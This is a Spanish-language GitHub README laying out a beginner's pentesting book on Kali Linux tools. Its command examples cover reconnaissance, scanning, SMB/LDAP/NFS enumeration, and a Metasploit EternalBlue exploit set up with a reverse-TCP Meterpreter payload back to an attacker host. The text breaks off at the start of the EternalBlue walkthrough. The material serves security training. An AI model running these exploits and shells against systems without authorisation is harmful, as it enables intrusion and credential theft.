Skip to content

Un libro que detalla las principales herramientas de Kali, de un modo accesible y relajado. Muy llevadero y completo, para principiantes.

License

Notifications You must be signed in to change notification settings

AlexielArdilla/El-libro-completo-del-Hacker

Folders and files

NameName
Last commit message
Last commit date

Latest commit

07d5985 · Sep 17, 2024

History

6 Commits
Sep 17, 2024
Sep 17, 2024
Sep 17, 2024

Repository files navigation

El-libro-completo-del-Hacker

imagen de portada del libro

"Pentesting con Kali Linux: Guía Completa de Herramientas y Técnicas"

Introducción

  • ¿Qué es Kali Linux?
    • Historia y evolución de Kali Linux.
    • Por qué Kali es la distribución preferida para pruebas de penetración.
    • Descripción general del ciclo de vida de un pentest.
    • Estructura del libro y cómo usar esta guía.

Capítulo 1: Reconocimiento

Objetivo: Explicar la importancia del reconocimiento en un pentest y cómo Kali Linux ofrece herramientas específicas para esta fase.

1.1 Reconocimiento Pasivo

  • Herramientas:
    • theHarvester: Recolección de correos electrónicos, subdominios, hosts, etc.
    • Maltego: Recolección de datos de fuentes abiertas.
    • Recon-ng: Plataforma modular de reconocimiento.
    • Shodan: Exploración de dispositivos conectados.

1.2 Reconocimiento Activo

  • Herramientas:
    • Nmap: Escaneo de puertos y detección de servicios.
    • Hping3: Manipulación y escaneo de paquetes TCP/IP.
    • DNSenum: Enumeración de DNS.
    • Whois: Búsqueda de información de dominio.

Ejemplos prácticos:

  • Uso de theHarvester para obtener información de un objetivo.
  • Ejemplo de uso de Nmap para escanear puertos.

Capítulo 2: Escaneo de Redes y Sistemas

Objetivo: Describir las herramientas de escaneo que permiten identificar vulnerabilidades en redes y sistemas.

2.1 Escaneo de Puertos y Servicios

  • Nmap: Escaneo avanzado y técnicas de evasión.
  • Unicornscan: Escaneo de puertos de alta velocidad.
  • Zmap: Escaneo masivo de Internet.

2.2 Escaneo de Vulnerabilidades

  • OpenVAS: Escáner de vulnerabilidades.
  • Nikto: Escaneo de vulnerabilidades en servidores web.
  • Wpscan: Escaneo de vulnerabilidades en WordPress.

Ejemplos prácticos:

  • Uso de OpenVAS para un escaneo completo de vulnerabilidades.
  • Escaneo básico con Nikto en un servidor web.

Capítulo 3: Enumeración

Objetivo: Enumerar servicios, usuarios y otras áreas que podrían ser explotadas.

3.1 Enumeración de Usuarios y Recursos Compartidos

  • Enum4linux: Enumeración de recursos y usuarios en redes SMB.
  • LDAPsearch: Búsqueda y enumeración en servidores LDAP.
  • SMBclient: Enumeración de recursos en SMB.

3.2 Enumeración de Servicios Específicos

  • Nfs-common: Enumeración de servicios NFS.
  • Smbclient: Acceso y enumeración en servidores SMB.
  • Lynis: Auditoría de sistemas Linux y Unix.

Ejemplos prácticos:

  • Enumeración de usuarios con Enum4linux.
  • Acceso a recursos compartidos con SMBclient.

Capítulo 4: Explotación de Vulnerabilidades

Objetivo: Detallar las herramientas utilizadas para explotar vulnerabilidades identificadas en la fase anterior.

4.1 Frameworks de Explotación

  • Metasploit Framework: El framework más utilizado en pentesting.
  • BeEF: Explotación de navegadores web.
  • SQLmap: Automatización de inyección SQL.

4.2 Herramientas de Explotación Específicas

  • Searchsploit: Búsqueda de exploits en la base de datos de Exploit-DB.
  • MSFvenom: Creación de payloads personalizados.
  • Responder: Captura de hashes NTLM y otras credenciales en redes.

Ejemplos prácticos:

  • Explotación con Metasploit de una vulnerabilidad conocida.
  • Ejemplo de inyección SQL con SQLmap.

Capítulo 5: Elevación de Privilegios

Objetivo: Describir herramientas para obtener acceso elevado o privilegios en los sistemas comprometidos.

5.1 Elevación en Sistemas Linux

  • Linux-Exploit-Suggester: Identificación de posibles vulnerabilidades locales.
  • LinPEAS: Enumeración de configuraciones y vulnerabilidades locales.

5.2 Elevación en Sistemas Windows

  • WinPEAS: Escaneo de privilegios en sistemas Windows.
  • Mimikatz: Extracción de credenciales en sistemas Windows.

Ejemplos prácticos:

  • Uso de LinPEAS para elevar privilegios en Linux.
  • Uso de Mimikatz para obtener credenciales en Windows.

Capítulo 6: Post-explotación

Objetivo: Explicar cómo Kali Linux puede ayudar en la fase de post-explotación para extraer datos y mantener el acceso.

6.1 Herramientas de Mantenimiento de Acceso

  • Metasploit Meterpreter: Módulo de post-explotación.
  • Weevely: Backdoor web PHP.
  • Empire: Framework para post-explotación en Windows.

6.2 Extracción de Información y Mantenimiento de Acceso

  • PowerShell Empire: Control total de sistemas Windows comprometidos.
  • SSHuttle: Proxy VPN sobre SSH para pivoting.

Ejemplos prácticos:

  • Pivoting con SSHuttle.
  • Creación de una backdoor persistente con Weevely.

Capítulo 7: Ataques de Redes Inalámbricas

Objetivo: Describir herramientas especializadas en ataques contra redes inalámbricas.

7.1 Ataques Contra Redes Wi-Fi

  • Aircrack-ng: Conjunto de herramientas para auditoría de redes Wi-Fi.
  • Fern Wi-Fi Cracker: Herramienta GUI para auditoría inalámbrica.
  • Reaver: Ataques WPS.

7.2 Análisis de Redes Bluetooth y Otros Protocolos

  • Bluesniff: Escaneo de dispositivos Bluetooth.
  • Wireshark: Captura y análisis de tráfico en redes inalámbricas.

Ejemplos prácticos:

  • Captura y descifrado de una contraseña WPA2 con Aircrack-ng.

Capítulo 8: Ingeniería Social

Objetivo: Explorar cómo Kali Linux facilita ataques de ingeniería social.

8.1 Frameworks de Ingeniería Social

  • SET (Social-Engineer Toolkit): Herramienta para phishing y otras técnicas de ingeniería social.
  • Ghost Phisher: Ataques de phishing y DNS spoofing.

8.2 Ataques de Phishing y Clonación de Sitios Web

  • Phishery: Generación de documentos con payloads.
  • Evilginx: Ataques man-in-the-middle para capturar credenciales.

Ejemplos prácticos:

  • Creación de un ataque de phishing con SET.

Capítulo 9: Análisis Forense y Recolección de Evidencias

Objetivo: Describir herramientas de Kali Linux para análisis forense en sistemas comprometidos.

9.1 Herramientas de Análisis Forense

  • Autopsy: Herramienta GUI de análisis forense.
  • Sleuth Kit: Análisis de discos y sistemas de archivos.

9.2 Recolección y Análisis de Memoria

  • Volatility: Análisis de memoria volátil.
  • Chkrootkit: Detección de rootkits en sistemas Linux.

Ejemplos prácticos:

  • Uso de Autopsy para analizar un disco comprometido.

Capítulo 10: Reportes y Documentación

Objetivo: Explicar la importancia de la generación de reportes después de realizar un pentest, y cómo Kali Linux ofrece herramientas para automatizar y facilitar la documentación de los hallazgos.

10.1 Generación de Reportes Automatizados

  • Dradis Framework: Plataforma de colaboración y generación de reportes para pentesting.
  • Faraday: IDE de seguridad colaborativo para generar reportes y gestionar hallazgos.
  • Metasploit Pro Reporting: Generación automática de informes de vulnerabilidades explotadas.
  • MagicTree: Gestión de datos recolectados durante el pentest y generación de reportes personalizados.

10.2 Herramientas para la Documentación

  • KeepNote: Herramienta para tomar notas y organizar la información recolectada durante el pentest.
  • CherryTree: Herramienta de toma de notas jerárquica con soporte para texto enriquecido y código.
  • Pipal: Análisis de contraseñas recolectadas y generación de informes detallados sobre patrones de uso de contraseñas.

10.3 Buenas Prácticas para la Documentación de un Pentest

  • Estructura de un informe de pentest profesional.
    • Resumen ejecutivo: Descripción general del pentest para la alta gerencia.
    • Resumen técnico: Detalles técnicos del proceso de pentest, incluyendo vulnerabilidades y riesgos.
    • Recomendaciones: Sugerencias específicas para mitigar las vulnerabilidades encontradas.
    • Pruebas y evidencias: Capturas de pantalla, logs y otros datos recolectados como prueba de explotación.

10.4 Ejemplos de Reportes

  • Ejemplo de un informe detallado utilizando Dradis.
  • Creación de un reporte personalizado utilizando MagicTree.

Ejemplos prácticos:

  • Uso de Dradis para colaborar con otros pentesters y generar un informe de resultados.
  • Cómo organizar tus hallazgos y notas utilizando KeepNote para generar un informe final coherente.

Conclusión y Próximos Pasos

Objetivo: Cerrar el libro con una visión general sobre el pentesting, sugerencias sobre cómo continuar aprendiendo y recursos adicionales para profundizar en el uso de Kali Linux.

  • Resumen del ciclo de pentesting con Kali Linux: Un repaso de cada una de las fases del pentest y las herramientas clave utilizadas en cada fase.
  • Recomendaciones para certificaciones y formación continua:
    • Certificaciones recomendadas: Offensive Security Certified Professional (OSCP), Certified Ethical Hacker (CEH), etc.
    • Recursos adicionales: Libros, cursos en línea, laboratorios de práctica.
  • La importancia de la ética en las pruebas de penetración: Subrayar la responsabilidad ética que conlleva el pentesting y las implicaciones legales de realizar pruebas sin autorización.
  • Próximos pasos para mejorar como pentester: Recomendaciones sobre cómo desarrollar habilidades más avanzadas, desde el análisis de vulnerabilidades hasta la creación de exploits propios.

Anexos

Objetivo: Incluir recursos adicionales que pueden ser útiles para el lector.

  • Lista completa de herramientas de Kali Linux: Descripción rápida de cada herramienta no mencionada previamente en los capítulos, con una breve explicación de su funcionalidad.

Notas Finales sobre la Estructura

  • Distribución del contenido: Cada capítulo estará dividido de manera equitativa para cubrir tanto la teoría como los ejemplos prácticos, asegurando que el lector no solo entienda las herramientas de Kali Linux, sino que también aprenda a utilizarlas de manera efectiva.
  • Ejemplos prácticos: A lo largo del libro, se incluirán varios ejercicios prácticos que los lectores pueden seguir para reforzar lo aprendido.

Pentesting con Kali Linux: Guía Completa de Herramientas y Técnicas


Introducción

¿Qué es Kali Linux?

Kali Linux es una distribución basada en Debian diseñada específicamente para pruebas de penetración (pentesting) y auditorías de seguridad. Fue desarrollada y es mantenida por Offensive Security, una organización que se especializa en ciberseguridad. Kali Linux es ampliamente utilizada por profesionales de la seguridad, investigadores y hackers éticos para realizar pruebas de penetración, evaluación de vulnerabilidades, análisis forense y auditorías de seguridad.

La historia de Kali Linux se remonta a su predecesora, BackTrack, una popular distribución de pentesting. En 2013, Offensive Security decidió rediseñar BackTrack desde cero para crear una distribución más robusta, segura y flexible, naciendo así Kali Linux. A lo largo de los años, Kali ha evolucionado y mejorado, incorporando nuevas herramientas y funcionalidades que permiten a los usuarios abordar los desafíos de seguridad informática de manera más eficiente.

¿Por qué Kali Linux?

Kali Linux es la distribución preferida para pruebas de penetración por varias razones:

  1. Amplia gama de herramientas integradas: Viene con más de 600 herramientas especializadas para pruebas de seguridad, análisis forense, explotación de vulnerabilidades, ingeniería inversa, y más.
  2. Actualizaciones constantes: Offensive Security actualiza Kali Linux regularmente, asegurando que los usuarios tengan acceso a las herramientas más recientes y a las versiones más estables.
  3. Comunidad activa: Kali Linux cuenta con una gran comunidad de usuarios que contribuyen al desarrollo y la mejora de la distribución, además de proporcionar soporte a otros usuarios.
  4. Personalización y Flexibilidad: Kali puede ser adaptado a diferentes plataformas, como Raspberry Pi, smartphones, contenedores Docker, entre otros, y también permite la instalación de entornos de escritorio personalizados.

El ciclo de vida de una prueba de penetración

Una prueba de penetración, o pentesting, es un proceso en el que se simulan ataques a sistemas de información para identificar vulnerabilidades y posibles fallos de seguridad antes de que puedan ser explotados por actores malintencionados. El ciclo de vida de una prueba de penetración se compone de varias fases esenciales, cada una de las cuales tiene un objetivo específico y herramientas asociadas.

Las fases típicas de un pentest son:

  1. Reconocimiento: Esta fase implica la recolección de información sobre el objetivo. Existen dos tipos de reconocimiento: pasivo (sin interacción directa con el sistema objetivo) y activo (requiere interacción directa con el sistema objetivo).

  2. Escaneo: Aquí, se escanean las redes, sistemas y servicios para descubrir vulnerabilidades potenciales que puedan ser explotadas más adelante.

  3. Enumeración: Esta fase se enfoca en obtener información detallada sobre los sistemas y servicios, como usuarios, grupos, recursos compartidos, etc.

  4. Explotación: En esta fase, los pentesters aprovechan las vulnerabilidades descubiertas para obtener acceso a los sistemas o redes.

  5. Post-explotación: Una vez que se obtiene acceso, se analiza cómo mantener el control del sistema comprometido, extraer datos sensibles y evaluar el impacto de la intrusión.

  6. Reportes y Documentación: Finalmente, se genera un informe que detalla las vulnerabilidades encontradas, los métodos utilizados y las recomendaciones para mitigar los riesgos.

Estructura del libro

Este libro está diseñado para guiarte a través de las distintas fases de un pentest utilizando las herramientas que Kali Linux ofrece. Cada capítulo se centrará en una fase específica del proceso y proporcionará una descripción detallada de las herramientas asociadas, su uso, y ejemplos prácticos para que puedas aplicar lo aprendido.


Capítulo 1: Reconocimiento

Objetivo

El reconocimiento es la primera fase de una prueba de penetración. Durante esta etapa, se busca recopilar toda la información posible sobre el objetivo sin interactuar directamente con él (reconocimiento pasivo) o con interacciones limitadas (reconocimiento activo). El objetivo es identificar puntos de entrada y datos útiles que guiarán el resto de la prueba. Herramientas como theHarvester, Maltego, Recon-ng y otras desempeñan un papel clave en esta fase.

1.1 Reconocimiento Pasivo

El reconocimiento pasivo es crucial porque permite obtener información sin alertar al objetivo de que está siendo analizado. Esto puede incluir la recopilación de datos públicos, como registros de dominio, direcciones de correo electrónico, nombres de empleados, servidores DNS y más.

Herramientas de Reconocimiento Pasivo

theHarvester

theHarvester es una de las herramientas más utilizadas en esta fase. Esta herramienta permite recolectar información de fuentes públicas, como motores de búsqueda (Google, Bing), servicios de redes sociales y bases de datos públicas. Con theHarvester, puedes obtener correos electrónicos, subdominios, nombres de empleados, entre otros.

  • Uso básico:

    theHarvester -d example.com -l 500 -b google

    En este ejemplo, la herramienta busca información relacionada con el dominio example.com utilizando Google como fuente. El parámetro -l 500 especifica la cantidad máxima de resultados a recuperar.

  • Fuentes de datos compatibles: Google, Bing, Shodan, Baidu, LinkedIn, entre otros.

Maltego

Maltego es una herramienta poderosa para la recolección de datos a través de fuentes abiertas (OSINT). Su interfaz gráfica permite crear gráficos de relaciones entre personas, organizaciones, dominios, y otros datos obtenidos mediante "transforms" o transformaciones, que son consultas a bases de datos y servicios en línea.

  • Uso típico: Maltego permite realizar investigaciones visuales. Por ejemplo, puedes empezar con un dominio y descubrir direcciones de correo, nombres de empleados y conexiones con otros dominios u organizaciones.

  • Ejemplo práctico: Si investigas el dominio de una organización, puedes descubrir su estructura interna, correos electrónicos clave y otras conexiones que podrían servir para futuros ataques de ingeniería social.

Recon-ng

Recon-ng es una plataforma modular para realizar tareas de reconocimiento. Cada módulo en Recon-ng ejecuta una tarea específica, como la búsqueda de registros DNS, la recolección de información sobre dominios, o la obtención de datos de fuentes públicas.

  • Uso básico:

    recon-ng
    use recon/domains-hosts/bing_domain_web
    set SOURCE example.com
    run

    Este ejemplo utiliza el módulo bing_domain_web para obtener hosts asociados al dominio example.com.

  • Módulos: Recon-ng cuenta con numerosos módulos que cubren casi todas las áreas de reconocimiento, desde la búsqueda de información en registros de dominio hasta la investigación de vulnerabilidades en aplicaciones web.

Ejemplo práctico de Reconocimiento Pasivo

Supongamos que estamos haciendo un pentest contra una organización ficticia llamada Acme Corp. Para comenzar, utilizamos theHarvester para obtener una lista de correos electrónicos y subdominios asociados al dominio acme.com:

theHarvester -d acme.com -l 500 -b google

La salida nos proporciona los correos de varios empleados, así como una lista de subdominios, incluyendo vpn.acme.com y mail.acme.com, lo que sugiere posibles puntos de ataque. Con esta información, podemos preparar futuros ataques de ingeniería social o enfoques de explotación directa.


1.2 Reconocimiento Activo

El reconocimiento activo requiere interacción directa con el objetivo, lo que significa que el sistema o la red puede detectar que se está realizando un escaneo. Las herramientas utilizadas en esta fase permiten obtener información detallada sobre los sistemas en funcionamiento, los servicios disponibles, y las versiones de software en uso.

Herramientas de Reconocimiento Activo

Nmap

Nmap es quizás la herramienta más popular y poderosa para el escaneo de redes y puertos. Puede identificar los servicios que están siendo ejecutados en un sistema, las versiones de software, y realizar detección de sistemas operativos.

  • Uso básico:
    nmap -sS -p- -T4 example.com
    Este comando realiza un escaneo SYN (-sS) en todos los puertos (-p-) del dominio example.com utilizando una velocidad de escaneo rápida (-T4).
Hping3

Hping3 es una herramienta avanzada para la manipulación de paquetes TCP/IP. Es útil para escaneos furtivos, evitando la detección de firewalls y otros sistemas de seguridad.

  • Uso básico:
    hping3 -S example.com -p 80
    Este comando envía paquetes SYN (-S) al puerto 80 del dominio example.com.

Este primer capítulo ha cubierto el uso de herramientas para la fase de reconocimiento pasivo y activo, explicando su relevancia y mostrando ejemplos prácticos de cómo emplearlas en un pentest real.


Capítulo 2: Escaneo de Redes y Sistemas

Objetivo

El escaneo es la segunda fase crítica en una prueba de penetración, y su propósito es identificar los sistemas y servicios que están expuestos a la red, así como las posibles vulnerabilidades que puedan explotarse en fases posteriores. En Kali Linux, existen muchas herramientas diseñadas para realizar diferentes tipos de escaneos, desde simples descubrimientos de puertos abiertos hasta análisis complejos de vulnerabilidades. Este capítulo explorará las herramientas más comunes para el escaneo de redes y sistemas en Kali Linux, destacando su uso en un entorno de pentesting.


2.1 Escaneo de Puertos y Servicios

El escaneo de puertos es una técnica esencial en la fase de reconocimiento activo. Mediante el escaneo de puertos, los pentesters pueden identificar qué servicios están corriendo en un sistema objetivo y qué versiones de software están siendo utilizadas, lo que permite localizar vulnerabilidades específicas asociadas a esas versiones.

Nmap

Nmap es la herramienta más conocida para realizar escaneos de puertos. Además de identificar los puertos abiertos, también puede detectar los servicios que están corriendo y hacer una suposición sobre el sistema operativo.

  • Comandos básicos:

    nmap -sS -p 1-1000 192.168.1.1

    En este ejemplo, se realiza un escaneo SYN (-sS) en los primeros 1000 puertos de la dirección IP 192.168.1.1.

  • Escaneo de versiones de servicios:

    nmap -sV 192.168.1.1

    Este comando realiza un escaneo de versiones (-sV), intentando identificar el software y la versión de los servicios que se ejecutan en los puertos abiertos.

  • Detección de sistema operativo:

    nmap -O 192.168.1.1

    El uso del parámetro -O le dice a Nmap que intente detectar el sistema operativo en función de las respuestas a los paquetes enviados.

Nmap también puede realizar escaneos más sofisticados, como el escaneo de puertos de manera furtiva, utilizando técnicas como fragmentación de paquetes o manipulación de TTL (tiempo de vida del paquete) para evadir firewalls.

Unicornscan

Unicornscan es una herramienta alternativa a Nmap que se especializa en escaneos de red de alto rendimiento. Aunque no es tan popular como Nmap, es extremadamente rápida para escanear grandes cantidades de hosts y puede usarse cuando se necesita realizar un reconocimiento a gran escala.

  • Uso básico:

    unicornscan -i eth0 -p 1-65535 192.168.1.1

    Este comando escanea todos los puertos (1-65535) en el host 192.168.1.1 utilizando la interfaz eth0.

  • Escaneo UDP:

    unicornscan -mU -i eth0 192.168.1.1

    El parámetro -mU indica que se debe realizar un escaneo de puertos UDP.

Zmap

Zmap es otra herramienta extremadamente rápida diseñada para el escaneo de red masivo. Su principal objetivo es realizar escaneos de puertos de gran escala, como escanear todo Internet en busca de un servicio específico.

  • Escaneo masivo de puertos:
    zmap -p 443 -o results.csv 0.0.0.0/0
    Este comando escanea el puerto 443 (HTTPS) en todas las direcciones IPv4 posibles, guardando los resultados en un archivo CSV.

Zmap está diseñado para ser más rápido y eficiente que Nmap en situaciones donde se requiere escanear una gran cantidad de hosts, como cuando se busca mapear un segmento de red muy amplio o escanear Internet en busca de servicios críticos expuestos.


2.2 Escaneo de Vulnerabilidades

Después de identificar qué sistemas y servicios están en funcionamiento en el objetivo, el siguiente paso es realizar un escaneo de vulnerabilidades. Este proceso permite detectar posibles fallos o configuraciones incorrectas en los servicios que podrían ser explotados para comprometer el sistema.

OpenVAS

OpenVAS (Open Vulnerability Assessment System) es una de las herramientas más potentes para la evaluación de vulnerabilidades, y se incluye de manera predeterminada en Kali Linux. OpenVAS ofrece una amplia gama de pruebas que incluyen vulnerabilidades de configuración, fallos conocidos, y posibles riesgos de seguridad en aplicaciones web, servidores y sistemas operativos.

  • Configuración de OpenVAS: Al ejecutar OpenVAS por primera vez, debes configurarlo e iniciar el servicio:

    openvas-setup

    Esto descarga las últimas definiciones de vulnerabilidades y configura la base de datos.

  • Ejemplo de escaneo: Una vez que OpenVAS está configurado, puedes acceder a su interfaz web en https://localhost:9392. Desde allí, puedes configurar escaneos y generar informes detallados de vulnerabilidades.

OpenVAS es una herramienta esencial para obtener un análisis completo de las vulnerabilidades en los sistemas objetivo, y su interfaz gráfica facilita el trabajo colaborativo y la gestión de escaneos de gran escala.

Nikto

Nikto es una herramienta para la evaluación de vulnerabilidades en servidores web. Su principal ventaja es que es capaz de detectar una amplia gama de configuraciones incorrectas, versiones desactualizadas de software, y otras vulnerabilidades comunes en servidores web.

  • Uso básico:
    nikto -h http://192.168.1.1
    Este comando escanea el servidor web en la dirección 192.168.1.1, buscando vulnerabilidades y configuraciones inseguras.

Nikto es capaz de detectar más de 6,000 problemas conocidos en servidores web, incluidos errores de configuración, vulnerabilidades de inyección SQL, XSS, entre otros.

Wpscan

Wpscan es una herramienta diseñada específicamente para detectar vulnerabilidades en sitios web que utilizan WordPress. Es una herramienta ideal cuando se sabe que un sitio web está ejecutando WordPress, ya que puede identificar versiones vulnerables del CMS (Content Management System), temas y plugins.

  • Uso básico:

    wpscan --url http://example.com --enumerate u

    Este comando escanea el sitio web de WordPress en example.com, y el parámetro --enumerate u indica que se deben enumerar los usuarios registrados.

  • Detección de vulnerabilidades en plugins:

    wpscan --url http://example.com --enumerate vp

    Con este comando, se enumeran los plugins vulnerables instalados en el sitio.

Wpscan es una herramienta vital cuando se enfrentan a entornos de WordPress, dado que muchas vulnerabilidades surgen de plugins mal configurados o desactualizados.


2.3 Ejemplos Prácticos de Escaneo de Vulnerabilidades

Escaneo de Red Local con Nmap

Imaginemos que nuestro objetivo es una red local con varias máquinas, y queremos identificar todos los sistemas que están en línea, junto con los servicios que están ejecutando.

  1. Empezamos con un escaneo para descubrir todos los hosts activos en la red:

    nmap -sn 192.168.1.0/24

    Este comando realiza un escaneo de red sin puerto (-sn), identificando todos los dispositivos conectados en el rango 192.168.1.0/24.

  2. Una vez identificados los hosts activos, seleccionamos uno para realizar un escaneo más profundo:

    nmap -sV -O 192.168.1.10

    Aquí, estamos realizando un escaneo de versiones de servicios (-sV) y detección de sistema operativo (-O) en la máquina con la IP 192.168.1.10.

Escaneo de Vulnerabilidades en un Servidor Web con Nikto

Ahora que hemos identificado un servidor web corriendo en la IP 192.168.1.10, usaremos Nikto para evaluar posibles vulnerabilidades.

nikto -h http://192.168.1.10

Nikto nos devolverá un informe detallado de los posibles riesgos de seguridad que existen en el servidor web, como configuraciones incorrectas, versiones de software desactualizadas, y posibles ataques como XSS o inyección SQL.


Conclusión del Capítulo

En este capítulo, hemos revisado algunas de las herramientas más importantes de Kali Linux para el escaneo de redes y sistemas. Nmap, Unicornscan y Zmap son las principales herramientas para identificar puertos abiertos y servicios en ejecución, mientras que OpenVAS, Nikto y Wpscan permiten profundizar en la identificación de vulnerabilidades específicas en sistemas y aplicaciones.

Con estas herramientas, los pentesters pueden mapear con precisión las redes y descubrir vulnerabilidades críticas, sentando las bases para la fase de explotación en un pentest.


Capítulo 3: Enumeración

Objetivo

La enumeración es una fase crítica que sigue al escaneo en un pentest. Mientras que el escaneo te dice qué servicios están disponibles y qué puertos están abiertos, la enumeración se enfoca en extraer información detallada de esos servicios. Esto incluye usuarios, nombres de equipo, versiones específicas de software, y recursos compartidos. La enumeración es esencial para profundizar en la comprensión de la infraestructura del objetivo y encontrar posibles puntos de explotación.

Este capítulo cubrirá algunas de las herramientas de enumeración más potentes incluidas en Kali Linux, como Enum4linux, LDAPsearch, SMBclient, y otras que permiten obtener una visión más clara de los sistemas y redes objetivo.


3.1 Enumeración de Usuarios y Recursos Compartidos

Enum4linux

Enum4linux es una herramienta que permite enumerar información desde servidores Windows a través del protocolo SMB (Server Message Block). Es especialmente útil cuando se está realizando un pentest contra entornos Windows, ya que puede revelar usuarios, recursos compartidos, políticas de contraseñas, y otros datos valiosos.

  • Comando básico:

    enum4linux -a 192.168.1.10

    El parámetro -a indica que se deben ejecutar todos los métodos de enumeración soportados, lo que incluye la recopilación de información sobre usuarios, grupos, recursos compartidos y más en el host 192.168.1.10.

  • Enumeración de usuarios:

    enum4linux -U 192.168.1.10

    Este comando específico solo obtiene los usuarios de un servidor SMB o Windows.

Salida típica

El uso de Enum4linux puede devolver información crítica como una lista de usuarios válidos en el sistema objetivo, que luego puede ser utilizada para ataques de fuerza bruta, ingeniería social o intento de autenticación con credenciales predeterminadas.

LDAPsearch

Cuando trabajas en entornos donde se utiliza LDAP (Lightweight Directory Access Protocol), LDAPsearch es una herramienta poderosa para enumerar y consultar directorios LDAP. Esto es común en redes empresariales grandes que utilizan Active Directory.

  • Comando básico:
    ldapsearch -x -h 192.168.1.10 -b "dc=example,dc=com"
    Aquí, -x indica que se usará el modo simple de autenticación, -h especifica la IP del servidor LDAP, y -b define la base DN (Distinguished Name) de la consulta.
Datos que puedes obtener

Usando LDAPsearch, puedes descubrir nombres de usuarios, grupos de Active Directory, y políticas de contraseñas, lo que te dará un entendimiento más detallado de la estructura interna de la red.

SMBclient

SMBclient es una herramienta que te permite interactuar con recursos compartidos SMB. Puedes utilizarla para conectarte a carpetas compartidas en servidores Windows o Linux que usen el protocolo SMB/CIFS, lo que te permitirá descargar archivos o explorar recursos sin explotar.

  • Acceso a recursos compartidos:

    smbclient //192.168.1.10/shared -U username

    En este comando, accedemos al recurso compartido shared en el servidor con IP 192.168.1.10 usando el nombre de usuario username. SMBclient te pedirá la contraseña para autenticarse.

  • Navegación por recursos compartidos: Una vez que te conectas, puedes utilizar comandos similares a los de un cliente FTP, como ls para listar archivos y get para descargarlos.

Salida típica

La salida de SMBclient te muestra una lista de archivos y carpetas compartidas en el servidor. En muchas ocasiones, se encuentran carpetas mal configuradas que contienen información sensible como credenciales, configuraciones o scripts de mantenimiento.


3.2 Enumeración de Servicios Específicos

NFS (Network File System)

El protocolo NFS permite a los usuarios acceder a sistemas de archivos en red de forma remota, lo cual puede ser una mina de oro si está mal configurado. En Kali Linux, puedes usar herramientas como showmount para enumerar los directorios que se pueden montar desde un servidor NFS.

  • Enumeración básica de montajes:
    showmount -e 192.168.1.10
    Este comando muestra las exportaciones disponibles en el servidor NFS con IP 192.168.1.10.
Salida típica

La salida de showmount te dirá qué directorios están exportados, lo que te permitirá montarlos localmente y explorar su contenido. Si la configuración del servidor NFS es débil, podrías encontrar archivos confidenciales o acceso a otros recursos.

Smbclient para enumerar recursos compartidos de SMB

Otra vez, SMBclient puede ser usado para enumerar recursos compartidos en servidores SMB y Windows. Con el comando adecuado, puedes identificar recursos accesibles en la red.

  • Enumeración de recursos compartidos en un servidor SMB:
    smbclient -L 192.168.1.10
    Esto lista todos los recursos compartidos en el servidor SMB sin autenticación.

Lynis

Lynis es una herramienta de auditoría y escaneo de seguridad para sistemas basados en Linux y Unix. En un pentest, puedes usar Lynis para enumerar y auditar un sistema Linux en busca de configuraciones incorrectas o vulnerabilidades que podrían explotarse.

  • Uso básico:
    lynis audit system
    Este comando realiza una auditoría completa del sistema local, enumerando configuraciones, servicios en ejecución, permisos incorrectos y otros aspectos críticos de seguridad.
Salida típica

La auditoría de Lynis proporciona un informe detallado que incluye recomendaciones sobre posibles mejoras de seguridad. Para los pentesters, estos informes pueden señalar configuraciones que faciliten la explotación, como permisos de archivos inadecuados o servicios innecesarios ejecutándose con privilegios elevados.


Ejemplos prácticos de Enumeración

Enumeración de un entorno Windows con Enum4linux

Imaginemos que hemos descubierto un servidor Windows con el servicio SMB habilitado en 192.168.1.10. Queremos obtener información sobre los usuarios y los recursos compartidos en ese sistema.

  1. Comenzamos con una enumeración completa usando Enum4linux:

    enum4linux -a 192.168.1.10

    Este comando nos proporcionará una lista de usuarios, recursos compartidos y detalles del dominio o grupo de trabajo al que pertenece el sistema.

  2. Una vez que tenemos los nombres de usuario, podemos usar herramientas como Hydra para intentar un ataque de fuerza bruta en esos usuarios.

Acceso a recursos compartidos con SMBclient

Después de enumerar los recursos compartidos en 192.168.1.10 utilizando SMBclient, descubrimos que hay una carpeta llamada Public que está mal configurada y accesible sin autenticación.

smbclient //192.168.1.10/Public

Una vez dentro, puedes usar comandos como ls para listar archivos y get para descargar cualquier archivo que te pueda resultar útil en fases posteriores del pentest, como scripts, contraseñas o configuraciones de servidores.

Exploración de un servidor NFS con showmount

Si durante el escaneo detectamos que un servidor NFS está habilitado en 192.168.1.15, podemos usar showmount para ver qué directorios están disponibles:

showmount -e 192.168.1.15

Si el servidor tiene un directorio accesible, como /data, podemos montarlo localmente y revisar su contenido:

mount -t nfs 192.168.1.15:/data /mnt
cd /mnt
ls

Este tipo de acceso puede proporcionarnos archivos sensibles si el servidor NFS no está bien configurado.


Conclusión del Capítulo

La enumeración es una fase esencial en la que los pentesters obtienen información detallada sobre los sistemas y redes objetivo, preparando el camino para la explotación. Herramientas como Enum4linux, LDAPsearch, SMBclient, y showmount permiten obtener una comprensión más profunda de los servicios en ejecución y los recursos compartidos en los sistemas objetivo.

La información obtenida durante la enumeración puede ser fundamental para planear ataques específicos o para realizar pruebas más avanzadas en las fases siguientes del pentest. La precisión y la amplitud de la información recopilada aquí influirán directamente en el éxito de las fases posteriores de explotación.


Capítulo 4: Explotación de Vulnerabilidades

Objetivo

La fase de explotación es la más crítica en una prueba de penetración. En esta etapa, el pentester intenta explotar las vulnerabilidades descubiertas en las fases anteriores para obtener acceso no autorizado a sistemas, redes o aplicaciones. En Kali Linux, se incluyen herramientas poderosas para facilitar esta tarea, como el Metasploit Framework, BeEF, SQLmap y otras especializadas en diferentes tipos de ataques.

Este capítulo cubre las principales herramientas de explotación en Kali Linux, sus usos, y ejemplos prácticos para aprovechar vulnerabilidades comunes.


4.1 Frameworks de Explotación

Metasploit Framework

Metasploit Framework es una de las plataformas más utilizadas para la explotación de vulnerabilidades. Es un framework modular que incluye miles de exploits y payloads, además de herramientas para ejecutar exploits personalizados, recopilar información y realizar ataques post-explotación.

  • Uso básico de Metasploit:
    1. Para iniciar Metasploit:

      msfconsole
    2. Una vez dentro, puedes buscar exploits usando el comando search:

      search smb
    3. Después de encontrar un exploit adecuado, lo seleccionas con el comando use:

      use exploit/windows/smb/ms17_010_eternalblue
    4. A continuación, configuras el exploit y los parámetros del objetivo:

      set RHOST 192.168.1.10
      set LHOST 192.168.1.100
      set PAYLOAD windows/x64/meterpreter/reverse_tcp
    5. Finalmente, ejecutas el exploit:

      exploit
Ejemplo práctico: Exploiting SMB Vulnerability (EternalBlue)

